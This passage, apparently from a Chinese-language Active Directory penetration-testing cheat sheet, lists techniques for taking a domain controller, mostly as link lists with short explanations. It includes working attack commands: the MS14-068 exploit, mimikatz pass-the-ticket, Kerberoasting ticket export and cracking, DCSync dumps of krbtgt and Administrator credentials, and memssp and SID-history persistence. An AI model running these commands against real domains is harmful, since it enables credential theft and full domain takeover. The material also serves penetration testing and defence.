（2）获取某OU下所有机器信息

代码语言：javascript
复制
{

"name": "Find the specificed OU computers",

"queryList": [

{

"final": false,

"title": "Select a OU...",

"query": "MATCH (n:OU) RETURN distinct n.name ORDER BY n.name DESC"

},

{

"final": true,

"query": "MATCH (m:OU  {name: $result}) with m MATCH p=(o:OU {objectid: m.objectid})-[r:Contains*1..]->(n:Computer) RETURN p",

"allowCollapse": true,

"endNode": "{}"

}

]

}

（3）自动标记owned用户及机器

  • SyncDog

（4）获取域内DNS信息

  • adidnsdump
  • 域渗透——DNS记录的获取

2、获取域控

（1）SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上

可参考：

  • 寻找SYSVOL里的密码和攻击GPP（组策略偏好）
  • Windows Server 2008 R2之四管理Sysvol文件夹
  • 获取AD域中SYSVOL和组策略首选项中的密码
  • 利用SYSVOL还原组策略中保存的密码
  • Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

（2）MS14-068 Kerberos

代码语言：javascript
复制
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存，创建缓存证书：

代码语言：javascript
复制
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit

net use k: \pentest.comc$

参考：

  • MS14-068域提权漏洞复现
  • Kerberos的工具包PyKEK
  • 深入解读MS14-068漏洞
  • Kerberos的安全漏洞

（3）SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据，无需向目标系统发送任何数据包

SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类，主机名和端口组成。在使用Kerberos身份验证的网络中，必须在内置计算机帐户（如NetworkService或LocalSystem）或用户帐户下为服务器注册SPN。对于内部帐户，SPN将自动进行注册。但是，如果在域用户帐户下运行服务，则必须为要使用的帐户的手动注册SPN

SPN扫描的主要好处是：SPN扫描不需要连接到网络上的每个IP来检查服务端口，SPN通过LDAP查询向域控执行服务发现，SPN查询是Kerberos的票据行为一部分，因此比较难检测SPN扫描

参考：

  • 非扫描式的SQL Server发现
  • SPN扫描
  • PowerShell-AD-Recon

（4）Kerberos的黄金票据和白银票据

黄金票据和白银票据的一些区别：

  • Golden Ticket伪造TGT，可以获取任何Kerberos服务权限；银票伪造TGS，只能访问指定的服务
  • 加密方式不同：Golden Ticket由krbtgt的hash加密；Silver Ticket由服务账号（通常为计算机账户）Hash加密
  • 认证流程不同：金票在使用的过程需要同域控通信；银票在使用的过程不需要同域控通信

参考：

  • 一文了解黄金票据和白银票据
  • Kerberos Golden Tickets are Now More Golden
  • 内网安全之域服务账号破解实践
  • kerberos认证原理—讲的非常细致，易懂
  • 攻击者如何使用Kerberos的银票来利用系统
  • 域渗透——Pass The Ticket

（5）域服务账号破解

与上面SPN扫描类似的原理
工具：https://github.com/nidem/kerberoast

代码语言：javascript
复制
#获取所有用作SPN的帐户

setspn -T PENTEST.com -Q /

#从Mimikatz的RAM中提取获得的门票

kerberos::list /export

#用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvcsql01.medin.local1433-MYDOMAIN.LOCAL.kirbi

（6）NTLM relay

  • privexchange
  • Exchange2domain

用于主动让目标机器发起NTLM请求的方法：

  • printerbug
  • PetitPotam

Relay LDAP:

  • CVE-2019-1040-dcpwn

Relay AD CS/PKI:

  • AD CS/PKI template exploit

（7）Kerberos委派

  • s4u2pwnage
  • Attacking Kerberos Delegation
  • 用打印服务获取域控
  • Computer Takeover
  • Combining NTLM Relaying and Kerberos delegation
  • CVE-2019-1040

（8）地址解析协议

实在搞不定再搞ARP

可参考：

  • 一文搞明白ARP
  • 一文了解ARP欺骗

ZeroLogon(CVE-2020-1472)：

  • mimikatz利用zerologon攻击域控服务器相关命令（附蓝队自查方案
  • ZeroLogon(CVE-2020-1472) 漏洞的攻击与防御策略（上）
  • ZeroLogon(CVE-2020-1472) 漏洞的攻击与防御策略（下）

3、获取AD哈希

参考：

  • How Attackers Dump Active Directory Database Credentials
  • 从NTDS.dit获取密码哈希值的三种方法
  • 域渗透——获得域控服务器的NTDS.dit文件
  • Invoke-NinaCopy

方法：

  • 使用VSS卷影副本
  • Ntdsutil中获取NTDS.DIT文件
  • PowerShell中提取NTDS.DIT
  • 使用Mimikatz提取：mimikatz lsadump::lsa /inject exit
  • 使用Mimikatz的DCSync远程转储Active Directory凭证
    提取 KRBTGT用户帐户的密码数据：Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：krbtgt"exit
    管理员用户帐户提取密码数据：Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：Administrator" exit
  • NTDS.dit中提取哈希：使用esedbexport恢复以后使用ntdsxtract提取

4、AD持久化

（1）活动目录持久性技巧

参考：

  • Sneaky Active Directory Persistence Tricks
  • 巧用DSRM密码同步将域控权限持久化
  • DCShadow：一种新型AD攻击技术

（2）Security Support Provider

参考：域渗透——Security Support Provider – 三好学生

Security Support Provider，直译为安全支持提供者，又名Security Package。简单的理解为SSP就是一个DLL，用来实现身份认证

代码语言：javascript
复制
privilege::debug

misc::memssp

这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log

（3）SID历史记录

参考：Sneaky Active Directory Persistence #14: SID History

允许另一个帐户的访问被有效地克隆到另一个帐户

代码语言：javascript
复制
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
